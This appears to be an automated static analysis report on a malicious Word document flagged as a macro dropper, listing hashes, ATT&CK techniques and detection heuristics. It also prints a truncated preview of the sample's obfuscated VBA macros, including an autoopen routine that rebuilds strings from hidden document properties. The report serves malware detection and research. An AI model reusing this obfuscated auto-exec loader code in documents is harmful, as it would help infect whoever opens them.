Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45112ef00b7d34a4…

MALICIOUS

Office (OLE)

66.5 KB Created: 2017-08-13 21:48:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: e2a9dd6751a2b8e81e78b0bfffd2881d SHA-1: 9db713fed68aff0bbe895ca04dbf6d2e101ddd15 SHA-256: 45112ef00b7d34a471655f3a7318fd2b69de1ade1889647839ff897c6e6f1c67
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The sample is a malicious Office document containing obfuscated VBA macros. The presence of `autoopen` and `CreateObject` calls, along with the ClamAV detection signature 'Doc.Dropper.Agent-6335671-0', strongly indicates that this document is a dropper. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or download URL without further dynamic analysis.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14228 bytes
SHA-256: e60d37ab04930fa1c53ad4815172994212e3e7c731fb5297587d07415daccc19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function dDZyKhdDZyKhdDZyKhdDZyKhdDZyKh(ByVal ZmdzNZmdzNZmdzNZmdzNZmdzN As String, ByVal nNBMXenNBMXenNBMXenNBMXenNBMXe As Variant) As Boolean
For Each CggKBeCggKBeCggKBeCggKBeCggKBe In nNBMXenNBMXenNBMXenNBMXenNBMXe
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    If CggKBeCggKBeCggKBeCggKBeCggKBe = ZmdzNZmdzNZmdzNZmdzNZmdzN Then
        dDZyKhdDZyKhdDZyKhdDZyKhdDZyKh = True
        Exit Function
    End If
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
Next CggKBeCggKBeCggKBeCggKBeCggKBe
End Function
 Function aLrEKaLrEKaLrEKaLrEKaLrEK(ByVal TCPpCwTCPpCwTCPpCwTCPpCwTCPpCw As String, ByVal xLhWkxLhWkxLhWkxLhWkxLhWk As Variant) As Boolean
For Each uZSEGLuZSEGLuZSEGLuZSEGLuZSEGL In xLhWkxLhWkxLhWkxLhWkxLhWk
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    If uZSEGLuZSEGLuZSEGLuZSEGLuZSEGL = TCPpCwTCPpCwTCPpCwTCPpCwTCPpCw Then
        aLrEKaLrEKaLrEKaLrEKaLrEK = True
        Exit Function
    End If
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
Next uZSEGLuZSEGLuZSEGLuZSEGLuZSEGL
End Function
 Function MTPgBMTPgBMTPgBMTPgBMTPgB(ByVal tZsUptZsUptZsUptZsUptZsUp As String, ByVal VWcZCbVWcZCbVWcZCbVWcZCbVWcZCb As Variant) As Boolean
For Each GMFMaGMFMaGMFMaGMFMaGMFMa In VWcZCbVWcZCbVWcZCbVWcZCbVWcZCb
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    If GMFMaGMFMaGMFMaGMFMaGMFMa = tZsUptZsUptZsUptZsUptZsUp Then
        MTPgBMTPgBMTPgBMTPgBMTPgB = True
        Exit Function
    End If
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
Next GMFMaGMFMaGMFMaGMFMaGMFMa
End Function
 Function HbtLKHbtLKHbtLKHbtLKHbtLK(ByVal sBweysBweysBweysBweysBwey As String, ByVal XmkkeSXmkkeSXmkkeSXmkkeSXmkkeS As Variant) As Boolean
For Each AFrGvAFrGvAFrGvAFrGvAFrGv In XmkkeSXmkkeSXmkkeSXmkkeSXmkkeS
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    If AFrGvAFrGvAFrGvAFrGvAFrGv = sBweysBweysBweysBweysBwey Then
        HbtLKHbtLKHbtLKHbtLKHbtLK = True
        Exit Function
    End If
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
    UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
Next AFrGvAFrGvAFrGvAFrGvAFrGv
End Function

Sub autoopen()
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
LGbRnLGbRnLGbRnLGbRnLGbRn
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
End Sub
Public Function GNrWbGNrWbGNrWbGNrWbGNrWb()
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
KXawyDKXawyDKXawyDKXawyDKXawyD = Mid(ActiveDocument.CustomDocumentProperties("vhGriumFIM"), 10) + ""
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
nEFrBPnEFrBPnEFrBPnEFrBPnEFrBP = Mid(ActiveDocument.CustomDocumentProperties("ODzvgyJZBT"), 10)
GNrWbGNrWbGNrWbGNrWbGNrWb = KXawyDKXawyDKXawyDKXawyDKXawyD + nEFrBPnEFrBPnEFrBPnEFrBPnEFrBP
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
UXygxuUXygxuUXygxuUXygxuUXygxu = "UXygxuUXygxuUXygxuUXygxuUXygxu"
End Function
Public Function maSMbmaSMbma
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.